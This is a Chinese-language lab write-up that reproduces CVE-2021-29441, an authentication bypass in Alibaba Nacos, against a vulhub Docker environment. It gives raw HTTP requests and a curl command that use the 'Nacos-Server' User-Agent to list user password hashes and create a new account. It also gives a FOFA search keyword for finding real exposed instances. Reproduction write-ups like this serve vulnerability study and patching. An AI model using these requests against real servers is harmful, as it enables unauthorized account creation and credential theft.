更新时间:2022.06.21

说明

参考文档:https://github.com/vulhub/vulhub/blob/master/nacos/CVE-2021-29441/README.zh-cn.md

1. 漏洞介绍

Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。
该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。

影响版本: Nacos <= 2.0.0-ALPHA.1

2. 漏洞复现

2.1 环境搭建

本次使用vulhub复现:
docker-compose up -d --build

查看下当前的docker id:

环境运行后,会开放3306、8848、9848、9555端口,在本次漏洞利用中,我们只需要用到8848端口,即web访问端口。执行漏洞验证过程时,请先访问8848端口,确认开放,某些情况下nacos服务会启动失败(无法连接数据库导致),可以重启nacos服务或者重启所有服务

docker-compose restart nacos

在这里访问下:http://127.0.0.1:8848/nacos/#/login

2.2 漏洞检测

访问页面

http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=2

在访问的时候,将User-Agent的值修改为Nacos-Server,发到repeater模块,看下返回包:

GET /nacos/v1/auth/users?pageNo=1&pageSize=2 HTTP/1.1
Host: 127.0.0.1:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache


此时看到返回的响应为200,并且包含了当前的用户名nacos,密码为加盐加密之后的值。

HTTP/1.1 200
Content-Type: application/json;charset=UTF-8
Date: Tue, 21 Jun 2022 10:44:10 GMT
Connection: close
Content-Length: 159{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}

2.3 添加新用户

在下面的链接中添加一个新用户:crow,注意使用POST方法,并且需要将User-Agent依旧设置为Nacos-Server

http://127.0.0.1:8848/nacos/v1/auth/users?username=crow&password=crow
POST /nacos/v1/auth/users HTTP/1.1
Host: 127.0.0.1:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 27username=crow&password=crow

此时再去访问以下链接看用户是否添加成功,需要将User-Agent依旧设置为Nacos-Server

http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=2


此时用户添加成功,使用新建的账号登录:

当然,任意用户注册也可以使用curl来添加,效果是一样的。

curl -XPOST 'http://127.0.0.1/nacos/v1/auth/users?username=crow&password=crow' -H 'User-Agent: Nacos-Server'

3. 实战

fofa关键字:title="nacos"

4. 漏洞修复

本地漏洞修复之后及时关闭环境:

修复策略就是升级Nacos版本到最新版本

nacos未授权-CVE-2021-29441复现相关推荐

  1. 【漏洞复现】Nacos未授权访问

    漏洞背景 2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 . 漏洞复现 本地搭建 h ...

  2. Nacos 未授权访问漏洞

    漏洞描述:2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 .通过该漏洞,攻击者可以进 ...

  3. nacos未授权访问漏洞【原理扫描】

    解决方案 vim /nacos/conf/application.properties 添加 #开启认证配置 nacos.core.auth.enabled=true

  4. windows php cli 后台运行_【续】windows环境redis未授权利用方式梳理

    01 Redis未授权产生原因 1.redis绑定在0.0.0.0:6379默认端口,直接暴露在公网,无防火墙进行来源信任防护. 2.没有设置密码认证,可以免密远程登录redis服务 02 漏洞危害 ...

  5. 2022-10-08(Discuz漏洞、FCKeditor文本编辑器漏洞、ZooKeeper 未授权访问、Memcahe 未授权访问)

    文章目录 Discuz漏洞-请求报文中含有恶意的PHP代码(CVE-2019-13956) FCKeditor文本编辑器漏洞 test.html browser.html fckeditor.html ...

  6. 常用的30+种未授权访问漏洞汇总

    未授权访问漏洞汇总预览 1 .FTP 未授权访问(21) 2 .LDAP 未授权访问(389) 3 .Rsync 未授权访问(873) 4 .ZooKeeper 未授权访问(2181) 5 .Dock ...

  7. Gitea 1.4 未授权远程代码执行漏洞复现

    ​Gitea 1.4 未授权远程代码执行 一.漏洞描述 Gitea是从gogs衍生出的一个开源项目,是一个类似于Github.Gitlab的多用户Git仓库管理平台.其1.4.0版本中有一处逻辑错误, ...

  8. JBoss未授权访问漏洞Getshell过程复现

    文章目录 前言 漏洞复现 漏洞描述 靶场搭建 漏洞利用 防御手段 Jexboss脚本 前言 在 2021 年第五届强网杯全国网络安全挑战赛的 EasyWeb 赛题中遇到了 JBoss 未授权访问漏洞 ...

  9. 漏洞检测与防御:Redis未授权访问漏洞复现

    漏洞检测与防御:Redis未授权访问漏洞复现 1. 未授权访问漏洞 未授权访问漏洞可以理解为安全配置.权限认证.授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库.网站目录等敏感 ...

最新文章

  1. 英伟达推出Super显卡,老黄再现精准“刀法”,网友:都是被AMD逼的
  2. Hugo + Github Pages 搭建个人博客
  3. 怎么清理文件缓存文件云服务器,服务器运行内存怎么清理缓存
  4. php yield mysql_PHP 5.5 新特性关键字 yield
  5. Qt-事件循环概念及循环函数详解
  6. linux网络编程、socket编程
  7. sql里如何for循环
  8. 分享下自己编译 XBMC 的过程(zhuan)
  9. C语言 函数不定长参数 ##__VA_ARGS__经典案例 - C语言零基础入门教程
  10. 点阵字体显示系列之一:ASCII码字库的显示
  11. 电导池行业调研报告 - 市场现状分析与发展前景预测(2021-2027年)
  12. 详细分析GitLab CE 已遭在野利用漏洞 (CVE-2021-22205)
  13. c++调用栈库函数_大华 | C/C++ 校招笔试题
  14. c语言如何输出10个空格,新人提问:如何将输出时每行最后一个空格删除
  15. html自动增加vbs代码,vbs烟花代码
  16. 【剑指Offer速刷与技巧笔记】剑指Offer重点面试刷题
  17. 基于ATMEGA128单片机的播种机控制系统
  18. python中去除空格用什么函数_python中用什么函数去掉空格
  19. 2017服务器cpu性能排行,CPU性能怎么看?桌面CPU天梯图2017年12月最新版
  20. 思古解析js静态逆向分析

热门文章

  1. 2计算机一级上机题,计算机等级考试一级上机Word题
  2. 冠科美博纳斯达克上市:作价9亿美元 路演PPT曝光
  3. 神舟战神k650d系列触控板关闭开启方法
  4. 2022年上海市安全员C证考试模拟100题模拟考试平台操作
  5. xamarin还有人用么_卡住了么?卡住了我就开始了
  6. 关闭PyCharm中的波浪线-右下角没有小人头的问题解决
  7. 【debug】powerdesigner 工具栏图标被禁用
  8. CorelDRAW2023新品发布会重磅来袭!CDR2023软件新功能抢先看!
  9. 16进制的文件头信息搜集
  10. DAY3 网络协议